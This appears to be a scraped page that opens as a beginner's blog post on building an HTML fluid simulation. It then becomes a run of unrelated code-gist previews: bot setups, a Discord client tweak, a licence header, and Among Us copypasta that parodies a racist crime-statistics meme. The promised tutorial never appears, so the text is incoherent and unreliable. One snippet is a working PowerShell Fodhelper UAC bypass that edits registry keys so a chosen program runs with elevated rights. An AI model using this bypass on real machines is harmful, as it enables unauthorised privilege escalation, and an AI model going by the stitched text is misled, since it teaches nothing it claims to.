how to make a HTML fluid sim
hi this will be my first real blog thing i'll try to explainw hat i m doing
we have to do some ep0c boilerplate.. first lets make a epic index.html and slap something like
import chalk from "chalk"; | |
import EventEmitter from "wolfy87-eventemitter"; | |
import type { | |
ChannelSettings, | |
ChatMessage, | |
ChChannelSettings, | |
Crown, | |
LSMessage, | |
Messages, | |
MessageTypes, |
function combineTailwind(first, second) { | |
const secondSplit = second.split(" ") | |
let classes = []; | |
const secondIds = secondSplit.map(z => z.split("-")[0]); | |
for(const defaultClass of first.split(" ")) { | |
if(!secondIds.includes(defaultClass.split("-")[0])) { | |
classes.push(defaultClass); | |
} |
import { Client } from "switchchat"; | |
import {Level} from "level" | |
import { | |
MatrixClient, | |
SimpleFsStorageProvider, | |
} from "matrix-bot-sdk"; | |
const storage = new SimpleFsStorageProvider("server.json"); | |
const client = new MatrixClient("https://matrix.yourfriend.lol", "", storage); |
/* | |
GNU GENERAL PUBLIC LICENSE | |
Version 3, 29 June 2007 | |
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> | |
Everyone is permitted to copy and distribute verbatim copies | |
of this license document, but changing it is not allowed. | |
Preamble |
function FodhelperUACBypass(){ | |
Param ( | |
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default | |
) | |
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | |
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | |
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force |
I hereby claim:
To claim this, I am signing this object:
console.log("Welcome to 💻!") | |
// Do the wordmark | |
// TODO: Make sure to make some kind of thing that automatically finds this. | |
const wordMark = document.querySelector("#app-mount > div.typeWindows-1za-n7.withFrame-haYltI.titleBar-AC4pGV.horizontalReverse-3tRjY7.flex-1O1GKY.directionRowReverse-m8IjIq.justifyStart-2NDFzi.alignStretch-DpGPf3 > div.wordmarkWindows-1v0lYD.wordmark-2iDDfm"); | |
wordMark.textContent = "💻" | |
wordMark.style.fontSize = "16px" | |
wordMark.style.color = "white" |
import OJS from "owop-js" | |
import pkg from 'canvas'; | |
const { createCanvas, loadImage } = pkg; | |
const img = await loadImage('300.png') | |
const canvas = createCanvas(img.width, img.height) | |
const ctx = canvas.getContext('2d') | |
let pos1 = [1 - img.width/2, | |
1 - img.height/2] |
[ | |
"He says that he needs to be \"sus\" and is the \"impostor\".", | |
"My son KILLED my husband and told me that I can't \"report\" the body other wise the other crewmates will think he is \"sus\" and that he would be \"ejected\".", | |
"It's important to note that Reds commit nearly 52% of all the murders in Among Us, which is astounding when you take into consideration the fact that they make up 12-13% of the population", | |
"It gets even more astounding when you start considering the fact the bulk of Reds committing these murders are probably ages 8-18 which is probably around an estimated 6-7% of the population that means that around 7% of Among Us Players are committing around 50% of the murders.", | |
"If you're playing Among Us", | |
"\"Oh that looks kinda like the among us guy\" it started as", | |
"But I kept going, I'd see a fridge that looked like among us, I'd see an animated bag of chips that looked like among us, I'd see a hat that looked like among us", | |
"And every time I'd burst into a |